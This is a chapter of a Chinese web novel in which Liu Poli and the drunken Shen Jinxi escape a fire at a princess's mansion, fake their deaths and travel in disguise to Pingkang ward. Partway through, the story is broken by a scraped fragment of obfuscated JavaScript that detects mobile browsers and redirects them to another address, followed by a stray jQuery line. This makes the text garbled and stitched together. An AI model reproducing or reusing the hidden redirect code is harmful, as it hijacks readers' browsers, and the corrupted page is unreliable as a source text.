掉出来两样东西,一样是酒坛里的人骨,另一样却是条拴着金链子的长命锁。
两道目光同时落到那块掉落在地的长命锁上。正是柳颇梨之前从他身上顺走的那块。
锁扣开了,掉出一片黄滋滋的羽毛,羽管已然裂开,布着的羽翮也暗淡无光。
原是方才淌火时,系在腰间的锦囊被烧脆了,又被沈进喜突然这么一撞,丝线全裂开了。
柳颇梨正懊恼,沈进喜却已俯身去捡......哎......事已至此,她也只能装傻充愣了。柳颇梨暗暗拿定主意,一会儿他问起来便假作她也吃惊得很。
而那只手却先拾起了那块骨头,稍停一停才缓缓移向长命锁,像是很不情愿地捡起来。握了链条,由着长命锁搭着指节荡下去,举着半只手臂,半晌不作声。
柳颇梨吃不透他要做什么,向来都只有她作弄旁人的份,眼下觉着头上悬着把铡刀倒不如落下来的痛快,便唤他一声“沈博士?”
“嗯,”沈进喜点了点头,身子轻轻晃动着,柳颇梨拿不准他是酒没醒还是在装醉。
“柳娘子,贴身之物可得收好了。”他一把拉过她的手,将长命锁放在她手心里,又将她的指头一根一根合拢。
连自己的东西都认不得了,看来是真醉了,还醉得不轻。
院外人声逐渐嘈杂起来,大半个府都见到了冲天而上的黑烟,皆一面“走水了”、“开门啊”地喊着,一面提着水桶湧过来,门被敲得蓬蓬响,却迟迟不见有人进到院子里来。
崔长月走到院门前,只见一条小臂粗的铁链将铁门牢牢锁住,怎么推都纹丝不动。这么僵立了一会儿,少顷,她觉出身后有道狐疑的目光定定地射过来。
只听柳颇梨问道:“月娘子,你是如何进来的?”
“喏,”崔长月抬手指了指西南方向,墙根处草垛子里有个窄洞,不纡身细探确实留意不到。她年纪小骨头轻,身量又薄,那洞口大小倒也合适。
柳颇梨瞧着那洞口几乎被两尺高的草淹没,眸光一动。
“你进来之时,门是锁的?”
“是啊。原想从正门进的,可哪曾想门从里面锁上了。”她絮絮道,“我刚回屋就见膳房这片浓烟滚滚的,膳房里却没一个人。”
柳颇梨拨着指甲,思忖着这么粗一道链条,她翻墙进来时不可能没见着的,便又问:“博士如何进来的?”
“走门啊。”他轻飘飘回了一句,瞧着酒还未醒,仍醉醺醺的。
所以门是等她下到酒窖后才锁上的。
柳颇梨眼观鼻鼻观心,心中明了八成,很可能是有人故意引她进入提前设好的圈套。可如若对方的目标是她,为何每回沈进喜都恰好意外地闯进来?
还有崔长月,她的话不可相信。那洞口的草一根未折,毫无被重物倾轧过的痕迹,她绝不是从洞口钻进来的,这火极有可能就是她放的。
沈进喜将手上那块被盘包浆了的白色石头举得老高,蓦地开口问道:“这是什么?”
“一块石头而已。”柳颇梨不屑,眼珠却偷觑崔长月的表情。待崔长月看清那是什么,脸色果然变得很难看,抻着脖子问,“能与我瞧瞧么?”
柳颇梨食指朝还在冒烟的酒窖弹了弹,道:“底下有的是。”
崔长月的脸色又白了三分。
只听见“嗵”的一声,毫无预兆,沈进喜突然仰面直挺挺地就倒下去。
余下站着的两人皆是一惊,赶紧拥上前。
“博士?”柳颇梨屈了一条腿半跪在地上,忽然觉得衣带紧了紧,又见躺在地上那人睫毛微微颤动,才放了心。又对崔长月道:“此处烟大,先出去再说。”
“好。”崔长月偷偷将碎骨块从沈进喜手中抽走,匆匆起身,转身抬脚就要走,却听耳边风声大作,再一回头,身后却已空无一人。
崔长月长长叹了一口气,又走到酒窖口,从怀里拿出柳颇梨交给她的那两支羽毛,重重地扔下去。
这回她吹响了凤尾骨哨,火海中传出凄厉的哭叫声,响彻了整个公主府,也久久回荡在无边黑夜之中。
*
沈进喜只觉昏沉沉的,浑身上下被硬物硌得难受,将蜷曲的腿伸一伸却被横木狠狠撞了下,腿上不知抽着了哪根坏筋,疼得他抱着膝直滚下榻去。
疼痛教他清醒了许多,睁眼却见一只牛眼大的蜘蛛落在手臂上,通体碧绿。他立时将在原地,一下也不敢动。
踯躇了一会儿,他盯着大蜘蛛,缓缓开口:“柳娘子,你能不能先从我手上下来?”
“你在同谁说话呢?”门嘎吱被猛地推开,因着过道太窄,差点把他的驼峰鼻撞出一道沟来。
沈进喜这才发觉自己身处一间四四方方的卧房。长宽均不过两三丈,甚至不如家里的夜香房宽敞。与其说是卧房倒不如说是牢房。
一转头,就见一个满面赤髯的瘦高胡人,穿着一件团窠联珠对鸟织金袍,取下戴的尖顶帽露出一头鬈曲的栗发。那人扶着门框朝他笑,一对眼儿弯成了月牙。竟是柳颇梨。
“没人啊。”沈进喜不动声色转了个身,将手臂和上头的蜘蛛藏到背后,干笑了声。知道柳斑鸠会幻术后,他看到绿油油的东西总忍不住想到她。
他又指了指自己的下巴,好奇道:“柳娘子你这是?”
“出门在外,总要乔装一番。”柳颇梨扔给他一个包袱,“忘了告诉你,你我二人今早已经‘死’了。”
“嗯?不是还有六日么?”
“哟,看来酒没白喝。你倒是想开了?”柳颇梨打趣道,“昨夜公主府大火,地窖里拖出来两具焦尸,仵作验过,一具确是淮南节度使沈伯膺之子兼教坊音声博士沈进喜的尸身,至于另一具么......”
“是你用的幻术?”沈进喜又烦躁起来,此刻他满肚子疑惑,偏又提不起兴致去探个明白。
“聪明。把衣服换上,收拾好了我们马上走。”
“去哪?”
“你头上那只金莲冠上的真珠,只够抵一夜宿。你要是不想被掌柜的赶出来,便赶紧随我离开。”
沈进喜一摸才发现自己披散着头发,只穿着寝衣,暗想怎的不直接挂帐上,又记起他已经在长安城“死”了,只得悻悻打开包袱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472812|198997||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>只见里头躺着一条银线夹缬芍药石榴裙。
手臂上的绿蜘蛛像是知道他要更衣,遂无比识相地爬走了。
俄尔,那扇掉漆的门又开了,探出一个披头散发的罗衣美人。美人羞怯以袖遮面,仍难掩出尘的气质,竟衬得陋室也光彩熠熠起来,教人见之忘俗。几个打尖儿的散客不由放慢了步子看过来。
“素面濯清漪,倚门敛羞容。”不知是哪个轻狂的浪荡子宿醉未醒,便喊了这么一句。
“美人”脸色白了白,太阳穴上已有青筋暴起。
惟有柳颇梨知道,他那表情哪里是“羞容”,分明是一副被冤赴刑场的屈辱神色。有小厮端着酒菜走过,她顺手从碟子里拈了一粒干煸黄豆弹出去。
“哎呦!”那浪荡子嘴上莫名挨了一下,痛得直叫。
同行人幸灾乐祸,戏道:“教你口不择言,这下吃瓜落了吧?你以为这是哪?平康坊!皇城脚下!一不留神开罪了贵人,那可是要命的!”
平康坊?沈进喜暗道,怪不得这么间陋室宿一夜便要抵他一颗珠子。
“进去坐下。”柳颇梨立在门前道。
“做什么?”沈进喜咬牙切齿,“我原来那身襕袍?”
“给你梳头啊。总不能披着头发出去吧?”柳颇梨神色淡淡,“当了。”
“柳颇梨!你!”他心里简直要气疯了,又觉得很委屈,便没了力气发作,只是颓唐地说了一句,“戏弄一个将死之人,很有趣么?”
柳颇梨微微一怔,原来酒并没能消愁,他还是坚信自己会死。迟疑了一会儿,她拿出一个幂离,语气柔和下来,“你若是不想梳发髻,便戴上这个吧。你总不能让人认出来。”又顿了顿,异常坚定道:
“我不会让你死的。”
两人一前一后走出了酒楼,便往北去。
柳颇梨见沈进喜一言不发,心知他这回事是真恼了,主动放缓步子与他并肩走。“你不问我为何要来平康坊,不好奇昨夜酒坛子里的死人骨头是怎么回事?”
沈进喜依旧沉默。
“那这个呢?”
金链子在他眼前晃啊晃的,将目之所及的街道劈成两半,道上行人似乎都静止了,一半是镀着金光的繁华,另一半是灰白无声的冷落。他一把拽住跃动的长命锁,行人便又动起来。原来他右手边的一户人家门楣上挂了白绸,檐下缀着两只白灯笼,正是新丧。
沈进喜忽然恨上了自己,也恨上了柳颇梨,或者说他恨上了所有人。
他从心底生出一种强烈的感觉:所有人都在看他的笑话。他扯过长命锁狠狠掼在地上,他不再需要它了。
“六郎君,”柳颇梨虽并不知他心里怎么想的,却不恼。她大概知道人有时情难自禁,一时出不来也是常有的,便逗他,“我给你变个戏法如何?”
见他并不睬她,柳颇梨兀自拾起地上的长命锁,取出里头的那片羽毛放在掌心里握住,又鼓起腮帮子用力吹了口气。
“看。”掌心摊开的瞬间,一只红喙赤脚的隼抖了抖翅膀,扑簌簌地飞起来,像是明白柳颇梨的意图,低低地在沈进喜头顶打着圈飞。